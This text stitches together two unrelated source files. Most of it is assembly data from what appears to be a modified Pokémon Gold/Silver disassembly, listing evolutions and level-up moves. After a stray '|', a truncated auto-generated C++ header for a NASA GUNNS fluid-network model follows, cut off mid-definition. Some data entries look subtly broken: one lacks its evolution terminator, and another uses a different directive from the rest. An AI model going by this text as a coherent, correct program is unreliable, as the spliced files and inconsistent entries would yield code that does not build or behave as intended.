dbw 55, WING_ATTACK ; put Synchronoise in this slot for final
dbw 58, DRILL_PECK
dbw 66, PSYCHIC_M
db 0 ; no more level-up moves
MareepEvosAttacks:
dbbw EVOLVE_LEVEL, 15, FLAAFFY
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 9, THUNDERSHOCK
dbw 16, THUNDER_WAVE
dbw 23, COTTON_SPORE
dbw 30, LIGHT_SCREEN
dbw 37, THUNDER
db 0 ; no more level-up moves
FlaaffyEvosAttacks:
dbbw EVOLVE_LEVEL, 30, AMPHAROS
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, THUNDERSHOCK
dbw 9, THUNDERSHOCK
dbw 18, THUNDER_WAVE
dbw 27, COTTON_SPORE
dbw 36, LIGHT_SCREEN
dbw 45, THUNDER
db 0 ; no more level-up moves
AmpharosEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, THUNDERSHOCK
dbw 1, THUNDER_WAVE
dbw 9, THUNDERSHOCK
dbw 18, THUNDER_WAVE
dbw 27, COTTON_SPORE
dbw 30, THUNDERPUNCH
dbw 42, LIGHT_SCREEN
dbw 57, THUNDER
db 0 ; no more level-up moves
BellossomEvosAttacks:
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, SWEET_SCENT
dbw 1, STUN_SPORE
dbw 1, PETAL_DANCE
dbw 55, SOLARBEAM
db 0 ; no more level-up moves
MarillEvosAttacks:
dbbw EVOLVE_LEVEL, 18, AZUMARILL
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 3, DEFENSE_CURL
dbw 6, TAIL_WHIP
dbw 10, WATER_GUN
dbw 15, ROLLOUT
dbw 21, BUBBLEBEAM
dbw 28, DOUBLE_EDGE
dbw 36, RAIN_DANCE
db 0 ; no more level-up moves
AzumarillEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, DEFENSE_CURL
dbw 1, TAIL_WHIP
dbw 1, WATER_GUN
dbw 3, DEFENSE_CURL
dbw 6, TAIL_WHIP
dbw 10, WATER_GUN
dbw 15, ROLLOUT
dbw 25, BUBBLEBEAM
dbw 36, DOUBLE_EDGE
dbw 48, RAIN_DANCE
db 0 ; no more level-up moves
SudowoodoEvosAttacks:
db 0 ; no more evolutions
dbw 1, ROCK_THROW
dbw 1, MIMIC
dbw 10, FLAIL
dbw 19, LOW_KICK
dbw 28, ROCK_SLIDE
dbw 37, FAINT_ATTACK
dbw 46, SLAM
db 0 ; no more level-up moves
PolitoedEvosAttacks:
db 0 ; no more evolutions
dbw 1, WATER_GUN
dbw 1, HYPNOSIS
dbw 1, DOUBLESLAP
dbw 1, PERISH_SONG
dbw 35, PERISH_SONG
dbw 51, SWAGGER
db 0 ; no more level-up moves
HoppipEvosAttacks:
dbbw EVOLVE_LEVEL, 18, SKIPLOOM
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, SPLASH
dbw 4, SYNTHESIS
dbw 6, GUST
dbw 9, TAIL_WHIP
dbw 11, TACKLE
dbw 13, POISONPOWDER
dbw 15, STUN_SPORE
dbw 17, SLEEP_POWDER
dbw 20, LEECH_SEED
dbw 25, MEGA_DRAIN
dbw 30, COTTON_SPORE
dbw 35, FLY
db 0 ; no more level-up moves
SkiploomEvosAttacks:
dbbw EVOLVE_LEVEL, 27, JUMPLUFF
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, SPLASH
dbw 1, SYNTHESIS
dbw 1, TAIL_WHIP
dbw 4, TACKLE
dbw 5, SYNTHESIS
dbw 5, TAIL_WHIP
dbw 10, TACKLE
dbw 13, POISONPOWDER
dbw 15, STUN_SPORE
dbw 17, SLEEP_POWDER
dbw 22, LEECH_SEED
dbw 29, COTTON_SPORE
dbw 36, MEGA_DRAIN
dbw 41, FLY
db 0 ; no more level-up moves
JumpluffEvosAttacks:
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, SPLASH
dbw 1, SYNTHESIS
dbw 1, TAIL_WHIP
dbw 4, TACKLE
dbw 5, SYNTHESIS
dbw 5, TAIL_WHIP
dbw 10, TACKLE
dbw 13, POISONPOWDER
dbw 15, STUN_SPORE
dbw 17, SLEEP_POWDER
dbw 22, LEECH_SEED
dbw 33, COTTON_SPORE
dbw 44, MEGA_DRAIN
dbw 49, FLY
db 0 ; no more level-up moves
AipomEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, TAIL_WHIP
dbw 6, SAND_ATTACK
dbw 12, BATON_PASS
dbw 19, FURY_SWIPES
dbw 27, SWIFT
dbw 36, SCREECH
dbw 46, AGILITY
db 0 ; no more level-up moves
SunkernEvosAttacks:
dbbw EVOLVE_ITEM, SUN_STONE, SUNFLORA
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 4, GROWTH
dbw 10, MEGA_DRAIN
dbw 13, LEECH_SEED
dbw 16, RAZOR_LEAF
dbw 22, GIGA_DRAIN
dbw 28, SYNTHESIS
dbw 34, SOLARBEAM
dbw 37, DOUBLE_EDGE
dbw 40, SUNNY_DAY
db 0 ; no more level-up moves
SunfloraEvosAttacks:
dbw 1, ABSORB
dbw 4, GROWTH
dbw 10, MEGA_DRAIN
dbw 13, LEECH_SEED
dbw 16, RAZOR_LEAF
dbw 22, GIGA_DRAIN
dbw 28, PETAL_DANCE
dbw 34, SOLARBEAM
dbw 37, DOUBLE_EDGE
dbw 40, SUNNY_DAY
db 0 ; no more level-up moves
YanmaEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, FORESIGHT
dbw 6, QUICK_ATTACK
dbw 11, DOUBLE_TEAM
dbw 14, SONICBOOM
dbw 17, DETECT
dbw 22, SUPERSONIC
dbw 27, PURSUIT
dbw 33, ANCIENTPOWER
dbw 38, HYPNOSIS
dbw 43, WING_ATTACK
dbw 46, SCREECH
dbw 49, FLY
db 0 ; no more level-up moves
WooperEvosAttacks:
dbbw EVOLVE_LEVEL, 20, QUAGSIRE
db 0 ; no more evolutions
dbw 1, WATER_GUN
dbw 1, TAIL_WHIP
dbw 11, SLAM
dbw 21, AMNESIA
dbw 25, RAIN_DANCE
dbw 31, EARTHQUAKE
dbw 41, SURF
dbw 51, MIST
dbw 51, HAZE
db 0 ; no more level-up moves
QuagsireEvosAttacks:
db 0 ; no more evolutions
dbw 1, WATER_GUN
dbw 1, TAIL_WHIP
dbw 11, SLAM
dbw 23, AMNESIA
dbw 28, RAIN_DANCE
dbw 35, EARTHQUAKE
dbw 47, SURF
dbw 59, MIST
dbw 59, HAZE
db 0 ; no more level-up moves
EspeonEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, TAIL_WHIP
dbw 8, SAND_ATTACK
dbw 16, CONFUSION
dbw 23, QUICK_ATTACK
dbw 30, SWIFT
dbw 36, PSYBEAM
dbw 42, PSYCH_UP
dbw 47, PSYCHIC_M
dbw 52, MORNING_SUN
db 0 ; no more level-up moves
UmbreonEvosAttacks:
db 0 ; no more evolutions
db 1, TACKLE
db 1, TAIL_WHIP
db 6, SAND_ATTACK
db 10, ACID
db 14, QUICK_ATTACK
db 18, BITE
db 23, SLUDGE
db 27, SCREECH
db 33, TOXIC
db 38, MOONLIGHT
db 45, SLUDGE_BOMB
db 0 ; no more level-up moves
MurkrowEvosAttacks:
db 0 ; no more evolutions
dbw 1, PECK
dbw 7, PURSUIT
dbw 11, HAZE
dbw 15, WING_ATTACK
dbw 21, NIGHT_SHADE
dbw 25, FAINT_ATTACK
dbw 31, MEAN_LOOK
dbw 35, FLY
db 0 ; no more level-up moves
SlowkingEvosAttacks:
db 0 ; no more evolutions
dbw 1, CURSE
dbw 1, TACKLE
dbw 6, GROWL
dbw 15, WATER_GUN
dbw 20, CONFUSION
dbw 29, DISABLE
dbw 34, HEADBUTT
dbw 43, SWAGGER
dbw 48, PSYCHIC_M
db 0 ; no more level-up moves
MisdreavusEvosAttacks:
db 0 ; no more evolutions
dbw 1, GROWL
dbw 1, PSYWAVE
dbw 6, SPITE
dbw 12, CONFUSE_RAY
dbw 19, MEAN_LOOK
dbw 27, PSYBEAM
dbw 36, PAIN_SPLIT
dbw 46, PERISH_SONG
db 0 ; no more level-up moves
UnownEvosAttacks:
db 0 ; no more evolutions
dbw 1, HIDDEN_POWER
dbw 5, PSYWAVE
db 0 ; no more level-up moves
WobbuffetEvosAttacks:
db 0 ; no more evolutions
dbw 1, COUNTER
dbw 1, MIRROR_COAT
dbw 1, SAFEGUARD
dbw 1, DESTINY_BOND
db 0 ; no more level-up moves
GirafarigEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 1, DOUBLE_KICK
dbw 1, STOMP
dbw 7, SPITE
dbw 13, STOMP
dbw 20, AGILITY
dbw 30, BATON_PASS
dbw 41, SHADOW_BALL
dbw 54, CRUNCH
db 0 ; no more level-up moves
PinecoEvosAttacks:
dbbw EVOLVE_LEVEL, 31, FORRETRESS
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, PROTECT
dbw 8, SELFDESTRUCT
dbw 15, TAKE_DOWN
dbw 22, RAPID_SPIN
dbw 25, MEGA_DRAIN
dbw 29, BIDE
dbw 36, EXPLOSION
dbw 43, SPIKES
dbw 50, DOUBLE_EDGE
db 0 ; no more level-up moves
ForretressEvosAttacks:
db 0 ; no more evolutions
dbw 1, ABSORB
dbw 1, PROTECT
dbw 1, SELFDESTRUCT
dbw 8, SELFDESTRUCT
dbw 15, TAKE_DOWN
dbw 22, RAPID_SPIN
dbw 25, MEGA_DRAIN
dbw 29, BIDE
dbw 39, EXPLOSION
dbw 49, SPIKES
dbw 59, DOUBLE_EDGE
db 0 ; no more level-up moves
DunsparceEvosAttacks:
db 0 ; no more evolutions
dbw 1, RAGE
dbw 5, DEFENSE_CURL
dbw 13, MUD_SLAP
dbw 16, ROLLOUT
dbw 20, GLARE
dbw 24, ANCIENTPOWER
dbw 28, SPITE
dbw 36, BODY_SLAM
dbw 40, SCREECH
dbw 44, TAKE_DOWN
dbw 52, DOUBLE_EDGE
db 0 ; no more level-up moves
GligarEvosAttacks:
db 0 ; no more evolutions
dbw 1, POISON_STING
dbw 6, SAND_ATTACK
dbw 13, HARDEN
dbw 20, QUICK_ATTACK
dbw 28, FAINT_ATTACK
dbw 36, SLASH
dbw 44, SCREECH
dbw 47, SWORDS_DANCE
dbw 52, GUILLOTINE
db 0 ; no more level-up moves
SteelixEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, SCREECH
dbw 10, BIND
dbw 14, ROCK_THROW
dbw 23, HARDEN
dbw 27, RAGE
dbw 36, SANDSTORM
dbw 40, SLAM
dbw 46, ROCK_HEAD
dbw 50, CRUNCH
dbw 54, DOUBLE_EDGE
db 0 ; no more level-up moves
SnubbullEvosAttacks:
dbbw EVOLVE_LEVEL, 23, GRANBULL
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, SCARY_FACE
dbw 4, TAIL_WHIP
dbw 8, CHARM
dbw 13, BITE
dbw 19, LICK
dbw 26, ROAR
dbw 34, RAGE
dbw 43, TAKE_DOWN
dbw 49, CRUNCH
db 0 ; no more level-up moves
GranbullEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, SCARY_FACE
dbw 4, TAIL_WHIP
dbw 8, CHARM
dbw 13, BITE
dbw 19, LICK
dbw 28, ROAR
dbw 38, RAGE
dbw 51, TAKE_DOWN
dbw 55, CRUNCH
db 0 ; no more level-up moves
QwilfishEvosAttacks:
db 0 ; no more evolutions
dbw 1, SPIKES
dbw 1, TACKLE
dbw 1, POISON_STING
dbw 10, HARDEN
dbw 10, MINIMIZE
dbw 19, WATER_GUN
dbw 28, PIN_MISSILE
dbw 37, TAKE_DOWN
dbw 46, HYDRO_PUMP
db 0 ; no more level-up moves
ScizorEvosAttacks:
db 0 ; no more evolutions
dbw 1, QUICK_ATTACK
dbw 1, LEER
dbw 6, FOCUS_ENERGY
dbw 12, PURSUIT
dbw 18, FALSE_SWIPE
dbw 24, AGILITY
dbw 30, METAL_CLAW
dbw 36, SLASH
dbw 42, SWORDS_DANCE
dbw 48, DOUBLE_TEAM
db 0 ; no more level-up moves
ShuckleEvosAttacks:
db 0 ; no more evolutions
dbw 1, CONSTRICT
dbw 1, WITHDRAW
dbw 9, WRAP
dbw 14, ENCORE
dbw 23, SAFEGUARD
dbw 28, BIDE
dbw 37, REST
db 0 ; no more level-up moves
HeracrossEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, LEER
dbw 6, HORN_ATTACK
dbw 12, ENDURE
dbw 19, FURY_ATTACK
dbw 27, COUNTER
dbw 35, TAKE_DOWN
dbw 44, REVERSAL
dbw 54, MEGAHORN
db 0 ; no more level-up moves
SneaselEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 9, QUICK_ATTACK
dbw 17, SCREECH
dbw 25, FAINT_ATTACK
dbw 33, FURY_SWIPES
dbw 41, AGILITY
dbw 49, SLASH
dbw 57, BEAT_UP
dbw 65, METAL_CLAW
db 0 ; no more level-up moves
TeddiursaEvosAttacks:
dbbw EVOLVE_LEVEL, 30, URSARING
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 8, LICK
dbw 15, FURY_SWIPES
dbw 22, FAINT_ATTACK
dbw 29, REST
dbw 36, SLASH
dbw 43, SNORE
dbw 50, THRASH
db 0 ; no more level-up moves
UrsaringEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, LICK
dbw 1, FURY_SWIPES
dbw 8, LICK
dbw 15, FURY_SWIPES
dbw 22, FAINT_ATTACK
dbw 29, REST
dbw 39, SLASH
dbw 49, SNORE
dbw 59, THRASH
db 0 ; no more level-up moves
SlugmaEvosAttacks:
dbbw EVOLVE_LEVEL, 38, MAGCARGO
db 0 ; no more evolutions
dbw 1, SMOG
dbw 6, EMBER
dbw 8, ROCK_THROW
dbw 13, HARDEN
dbw 19, RECOVER
dbw 22, ANCIENTPOWER
dbw 27, AMNESIA
dbw 36, FLAMETHROWER
dbw 43, ROCK_SLIDE
dbw 50, BODY_SLAM
db 0 ; no more level-up moves
MagcargoEvosAttacks:
db 0 ; no more evolutions
dbw 1, SMOG
dbw 1, EMBER
dbw 1, ROCK_THROW
dbw 8, EMBER
dbw 15, ROCK_THROW
dbw 22, HARDEN
dbw 25, RECOVER
dbw 29, AMNESIA
dbw 36, FLAMETHROWER
dbw 48, ROCK_SLIDE
dbw 60, BODY_SLAM
db 0 ; no more level-up moves
SwinubEvosAttacks:
dbbw EVOLVE_LEVEL, 33, PILOSWINE
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 10, POWDER_SNOW
dbw 19, ENDURE
dbw 28, TAKE_DOWN
dbw 37, MIST
dbw 46, BLIZZARD
dbw 55, AMNESIA
db 0 ; no more level-up moves
PiloswineEvosAttacks:
db 0 ; no more evolutions
dbw 1, HORN_ATTACK
dbw 1, POWDER_SNOW
dbw 1, ENDURE
dbw 10, POWDER_SNOW
dbw 19, ENDURE
dbw 28, TAKE_DOWN
dbw 33, FURY_ATTACK
dbw 42, MIST
dbw 56, BLIZZARD
dbw 70, AMNESIA
db 0 ; no more level-up moves
CorsolaEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, HARDEN
dbw 4, BUBBLE
dbw 8, RECOVER
dbw 10, BUBBLEBEAM
dbw 17, ANCIENTPOWER
dbw 20, SPIKE_CANNON
dbw 29, ENDURE
dbw 35, ROCK_HEAD
dbw 38, MIRROR_COAT
dbw 41, FLAIL
db 0 ; no more level-up moves
RemoraidEvosAttacks:
dbbw EVOLVE_LEVEL, 25, OCTILLERY
db 0 ; no more evolutions
dbw 1, WATER_GUN
dbw 11, LOCK_ON
dbw 22, PSYBEAM
dbw 22, AURORA_BEAM
dbw 22, BUBBLEBEAM
dbw 33, FOCUS_ENERGY
dbw 44, ICE_BEAM
dbw 55, HYPER_BEAM
db 0 ; no more level-up moves
OctilleryEvosAttacks:
db 0 ; no more evolutions
dbw 1, WATER_GUN
dbw 11, CONSTRICT
dbw 22, PSYBEAM
dbw 22, AURORA_BEAM
dbw 22, BUBBLEBEAM
dbw 25, OCTAZOOKA
dbw 38, FOCUS_ENERGY
dbw 54, ICE_BEAM
dbw 70, HYPER_BEAM
db 0 ; no more level-up moves
DelibirdEvosAttacks:
db 0 ; no more evolutions
dbw 1, POUND
dbw 9, GROWL
dbw 12, POWDER_SNOW
dbw 20, PRESENT
dbw 25, WING_ATTACK
dbw 30, DRILL_PECK
dbw 35, DOUBLESLAP
dbw 42, ICE_BEAM
db 0 ; no more level-up moves
MantineEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, WATER_GUN
dbw 10, SUPERSONIC
dbw 18, PSYBEAM
dbw 25, LEECH_SEED
dbw 32, BUBBLEBEAM
dbw 36, ICE_BEAM
dbw 40, WING_ATTACK
dbw 45, TAKE_DOWN
dbw 49, AGILITY
dbw 55, CONFUSE_RAY
dbw 62, HYDRO_PUMP
db 0 ; no more level-up moves
SkarmoryEvosAttacks:
db 0 ; no more evolutions
dbw 1, PECK
dbw 1, LEER
dbw 4, SAND_ATTACK
dbw 8, SWIFT
dbw 12, FURY_ATTACK
dbw 16, AGILITY
dbw 20, WING_ATTACK
dbw 24, SLASH
dbw 28, DRILL_PECK
dbw 32, SPIKES
db 0 ; no more level-up moves
HoundourEvosAttacks:
dbbw EVOLVE_LEVEL, 24, HOUNDOOM
db 0 ; no more evolutions
dbw 1, LEER
dbw 1, EMBER
dbw 7, ROAR
dbw 13, SMOG
dbw 20, BITE
dbw 27, FAINT_ATTACK
dbw 35, FLAMETHROWER
dbw 43, CRUNCH
db 0 ; no more level-up moves
HoundoomEvosAttacks:
db 0 ; no more evolutions
dbw 1, LEER
dbw 1, EMBER
dbw 7, ROAR
dbw 13, SMOG
dbw 20, BITE
dbw 30, FAINT_ATTACK
dbw 41, FLAMETHROWER
dbw 52, CRUNCH
db 0 ; no more level-up moves
KingdraEvosAttacks:
db 0 ; no more evolutions
dbw 1, BUBBLE
dbw 1, SMOKESCREEN
dbw 1, LEER
dbw 1, WATER_GUN
dbw 8, SMOKESCREEN
dbw 15, LEER
dbw 22, WATER_GUN
dbw 29, TWISTER
dbw 40, AGILITY
dbw 51, HYDRO_PUMP
db 0 ; no more level-up moves
PhanpyEvosAttacks:
dbbw EVOLVE_LEVEL, 25, DONPHAN
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, GROWL
dbw 9, DEFENSE_CURL
dbw 17, FLAIL
dbw 25, TAKE_DOWN
dbw 33, ROLLOUT
dbw 41, ENDURE
dbw 49, DOUBLE_EDGE
db 0 ; no more level-up moves
DonphanEvosAttacks:
db 0 ; no more evolutions
dbw 1, HORN_ATTACK
dbw 1, GROWL
dbw 9, DEFENSE_CURL
dbw 17, FLAIL
dbw 25, FURY_ATTACK
dbw 33, ROLLOUT
dbw 41, RAPID_SPIN
dbw 49, EARTHQUAKE
db 0 ; no more level-up moves
Porygon2EvosAttacks:
db 0 ; no more evolutions
dbw 1, CONVERSION2
dbw 1, TACKLE
dbw 1, CONVERSION
dbw 9, AGILITY
dbw 12, PSYBEAM
dbw 20, RECOVER
dbw 24, DEFENSE_CURL
dbw 32, LOCK_ON
dbw 36, TRI_ATTACK
dbw 44, ZAP_CANNON
db 0 ; no more level-up moves
StantlerEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 8, LEER
dbw 10, HYPNOSIS
dbw 13, STOMP
dbw 16, SAND_ATTACK
dbw 21, DOUBLE_KICK
dbw 23, CONFUSE_RAY
dbw 27, MEAN_LOOK
dbw 33, SHADOW_BALL
dbw 36, TAKE_DOWN
db 0 ; no more level-up moves
SmeargleEvosAttacks:
db 0 ; no more evolutions
dbw 1, SKETCH
dbw 11, SKETCH
dbw 21, SKETCH
dbw 31, SKETCH
dbw 41, SKETCH
dbw 51, SKETCH
dbw 61, SKETCH
dbw 71, SKETCH
dbw 81, SKETCH
dbw 91, SKETCH
db 0 ; no more level-up moves
TyrogueEvosAttacks:
dbbbw EVOLVE_STAT, 20, ATK_LT_DEF, HITMONCHAN
dbbbw EVOLVE_STAT, 20, ATK_GT_DEF, HITMONLEE
dbbbw EVOLVE_STAT, 20, ATK_EQ_DEF, HITMONTOP
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 1, FOCUS_ENERGY
db 0 ; no more level-up moves
HitmontopEvosAttacks:
db 0 ; no more evolutions
dbw 1, ROLLING_KICK
dbw 7, FOCUS_ENERGY
dbw 13, PURSUIT
dbw 19, QUICK_ATTACK
dbw 25, RAPID_SPIN
dbw 31, COUNTER
dbw 37, AGILITY
dbw 43, DETECT
dbw 49, TRIPLE_KICK
db 0 ; no more level-up moves
SmoochumEvosAttacks:
dbbw EVOLVE_LEVEL, 30, JYNX
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, LICK
dbw 9, SWEET_KISS
dbw 13, POWDER_SNOW
dbw 21, CONFUSION
dbw 25, SING
dbw 33, MEAN_LOOK
dbw 37, PSYCHIC_M
dbw 45, PERISH_SONG
dbw 49, BLIZZARD
db 0 ; no more level-up moves
ElekidEvosAttacks:
dbbw EVOLVE_LEVEL, 30, ELECTABUZZ
db 0 ; no more evolutions
dbw 1, QUICK_ATTACK
dbw 1, LEER
dbw 9, THUNDERPUNCH
dbw 17, LIGHT_SCREEN
dbw 25, SWIFT
dbw 33, SCREECH
dbw 41, THUNDERBOLT
dbw 49, THUNDER
db 0 ; no more level-up moves
MagbyEvosAttacks:
dbbw EVOLVE_LEVEL, 30, MAGMAR
db 0 ; no more evolutions
dbw 1, EMBER
dbw 7, LEER
dbw 13, SMOG
dbw 19, FIRE_PUNCH
dbw 25, SMOKESCREEN
dbw 31, SUNNY_DAY
dbw 37, FLAMETHROWER
dbw 43, CONFUSE_RAY
dbw 49, FIRE_BLAST
db 0 ; no more level-up moves
MiltankEvosAttacks:
db 0 ; no more evolutions
dbw 1, TACKLE
dbw 4, GROWL
dbw 8, DEFENSE_CURL
dbw 13, STOMP
dbw 19, MILK_DRINK
dbw 26, BIDE
dbw 34, ROLLOUT
dbw 43, BODY_SLAM
dbw 53, HEAL_BELL
db 0 ; no more level-up moves
BlisseyEvosAttacks:
db 0 ; no more evolutions
dbw 1, POUND
dbw 4, GROWL
dbw 7, TAIL_WHIP
dbw 10, SOFTBOILED
dbw 13, DOUBLESLAP
dbw 18, MINIMIZE
dbw 23, SING
dbw 28, EGG_BOMB
dbw 33, DEFENSE_CURL
dbw 40, LIGHT_SCREEN
dbw 47, DOUBLE_EDGE
db 0 ; no more level-up moves
RaikouEvosAttacks:
db 0 ; no more evolutions
dbw 1, BITE
dbw 1, LEER
dbw 11, THUNDERSHOCK
dbw 21, ROAR
dbw 31, QUICK_ATTACK
dbw 41, SPARK
dbw 51, REFLECT
dbw 61, CRUNCH
dbw 71, THUNDER
db 0 ; no more level-up moves
EnteiEvosAttacks:
db 0 ; no more evolutions
dbw 1, BITE
dbw 1, LEER
dbw 11, EMBER
dbw 21, ROAR
dbw 31, FIRE_SPIN
dbw 41, STOMP
dbw 51, FLAMETHROWER
dbw 61, SWAGGER
dbw 71, FIRE_BLAST
db 0 ; no more level-up moves
SuicuneEvosAttacks:
db 0 ; no more evolutions
dbw 1, BITE
dbw 1, LEER
dbw 11, BUBBLEBEAM
dbw 21, RAIN_DANCE
dbw 31, GUST
dbw 41, AURORA_BEAM
dbw 51, MIST
dbw 61, MIRROR_COAT
dbw 71, HYDRO_PUMP
db 0 ; no more level-up moves
LarvitarEvosAttacks:
dbbw EVOLVE_LEVEL, 30, PUPITAR
db 0 ; no more evolutions
dbw 1, BITE
dbw 1, LEER
dbw 8, SANDSTORM
dbw 15, SCREECH
dbw 22, ROCK_SLIDE
dbw 29, THRASH
dbw 36, SCARY_FACE
dbw 43, CRUNCH
dbw 50, EARTHQUAKE
dbw 57, HYPER_BEAM
db 0 ; no more level-up moves
PupitarEvosAttacks:
dbbw EVOLVE_LEVEL, 55, TYRANITAR
db 0 ; no more evolutions
dbw 1, BITE
dbw 1, LEER
dbw 1, SANDSTORM
dbw 1, SCREECH
dbw 8, SANDSTORM
dbw 15, SCREECH
dbw 22, ROCK_SLIDE
dbw 29, THRASH
dbw 38, SCARY_FACE
dbw 47, CRUNCH
dbw 56, EARTHQUAKE
dbw 65, HYPER_BEAM
db 0 ; no more level-up moves
TyranitarEvosAttacks:
db 0 ; no more evolutions
dbw 1, BITE
dbw 1, LEER
dbw 1, SANDSTORM
dbw 1, SCREECH
dbw 8, SANDSTORM
dbw 15, SCREECH
dbw 22, ROCK_SLIDE
dbw 29, THRASH
dbw 38, SCARY_FACE
dbw 47, CRUNCH
dbw 61, EARTHQUAKE
dbw 75, HYPER_BEAM
db 0 ; no more level-up moves
LugiaEvosAttacks:
db 0 ; no more evolutions
dbw 1, AEROBLAST
dbw 11, SAFEGUARD
dbw 22, GUST
dbw 33, RECOVER
dbw 44, HYDRO_PUMP
dbw 55, RAIN_DANCE
dbw 66, SWIFT
dbw 77, WHIRLWIND
dbw 88, ANCIENTPOWER
dbw 99, FUTURE_SIGHT
db 0 ; no more level-up moves
HoOhEvosAttacks:
db 0 ; no more evolutions
dbw 1, SACRED_FIRE
dbw 11, SAFEGUARD
dbw 22, GUST
dbw 33, RECOVER
dbw 44, FIRE_BLAST
dbw 55, SUNNY_DAY
dbw 66, SWIFT
dbw 77, WHIRLWIND
dbw 88, ANCIENTPOWER
dbw 99, FUTURE_SIGHT
db 0 ; no more level-up moves
CelebiEvosAttacks:
db 0 ; no more evolutions
dbw 1, LEECH_SEED
dbw 1, CONFUSION
dbw 1, RECOVER
dbw 1, HEAL_BELL
dbw 10, SAFEGUARD
dbw 20, ANCIENTPOWER
dbw 30, FUTURE_SIGHT
dbw 40, BATON_PASS
dbw 50, PERISH_SONG
db 0 ; no more level-up moves
|
#ifndef DrawFluidExtras_EXISTS
#define DrawFluidExtras_EXISTS
/**
@file DrawFluidExtras.hh
@brief DrawFluidExtras GUNNS Fluid Network declarations.
@copyright Copyright 2019 United States Government as represented by the Administrator of the
National Aeronautics and Space Administration. All Rights Reserved.
@defgroup GUNNS_DRAWFLUIDTC DrawFluidTc GUNNS Fluid Network
@ingroup GUNNS
@details
PURPOSE: (Provides classes for the DrawFluidExtras GUNNS Fluid Network.)
REFERENCES:
()
ASSUMPTIONS AND LIMITATIONS:
()
LIBRARY DEPENDENCY:
((DrawFluidExtras.o))
PROGRAMMERS:
((Auto-generated by the GunnsDraw netexport script version 19.3.0) (2021-12-06 05:29:57.851902))
@{
*/
#include "software/SimCompatibility/TsSimCompatibility.hh"
#include "core/network/GunnsNetworkBase.hh"
#include "core/GunnsFluidVolumeMonitor.hh"
#include "aspects/fluid/source/GunnsFluidReactor.hh"
#include "core/GunnsFluidCapacitor.hh"
#include "core/GunnsFluidJumper.hh"
#include "core/GunnsFluidPotential.hh"
#include "core/GunnsFluidSocket.hh"
#include "gunns/GunnsFluidMetabolic4.hh"
#include "properties/ChemicalReaction.hh"
#include "properties/ChemicalCompound.hh"
#include "core/GunnsFluidJumperPlug.hh"
// Forward-declare the main network class for use in the config data.
class DrawFluidExtras;
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief Data structure for DrawFluidExtras GUNNS network mass fractions.
////////////////////////////////////////////////////////////////////////////////////////////////////
typedef struct DrawFluidExtrasFractions {
double GUNNS_N2;
double GUNNS_O2;
double GUNNS_H2O;
double GUNNS_CO2;
double GUNNS_CH4;
double GUNNS_H2;
} DrawFluidExtrasFractions;
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief Union for DrawFluidExtras GUNNS network mass fractions as scalars and as an array.
/// The array is used as an argument in the PolyFluidInputData constructor.
////////////////////////////////////////////////////////////////////////////////////////////////////
union DrawFluidExtrasMassFractions {
DrawFluidExtrasFractions scalar;
double array[sizeof(DrawFluidExtrasFractions)/sizeof(double)];
DrawFluidExtrasMassFractions(
const double iGUNNS_N2,
const double iGUNNS_O2,
const double iGUNNS_H2O,
const double iGUNNS_CO2,
const double iGUNNS_CH4,
const double iGUNNS_H2);
};
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief Data structure for a DrawFluidExtras GUNNS network trace compounds state as scalars.
////////////////////////////////////////////////////////////////////////////////////////////////////
typedef struct DrawFluidExtras_netTcConfigScalars {
double NH3;
double CO;
} DrawFluidExtras_netTcConfigScalars;
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief Union for a DrawFluidExtras GUNNS network trace compounds state as scalars and as an
/// array. The array is used as an argument in various objects input data constructors.
////////////////////////////////////////////////////////////////////////////////////////////////////
union DrawFluidExtras_netTcConfigState {
DrawFluidExtras_netTcConfigScalars scalar;
double array[sizeof(DrawFluidExtras_netTcConfigScalars)/sizeof(double)];
DrawFluidExtras_netTcConfigState(
const double iNH3,
const double iCO);
};
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief Data structure for reactor compound total masses as scalars.
////////////////////////////////////////////////////////////////////////////////////////////////////
typedef struct DrawFluidExtras_reactorCompoundsMasses {
double CH4;
double O2;
double CO2;
double H2;
double H2O;
} DrawFluidExtras_reactorCompoundsMasses;
////////////////////////////////////////////////////////////////////////////////////////////////////
/// @brief Union for reactor compound masses as scalars and as an array.
/// The array is used as an argument in the chemical reactor input data constructor.
////////////////////////////////////////////////////////////////////////////////////////////////////
union DrawFluidExtras_reactorCompoundsTotalMasses {
DrawFluidExtras_reactorCompoundsMasses scalar;
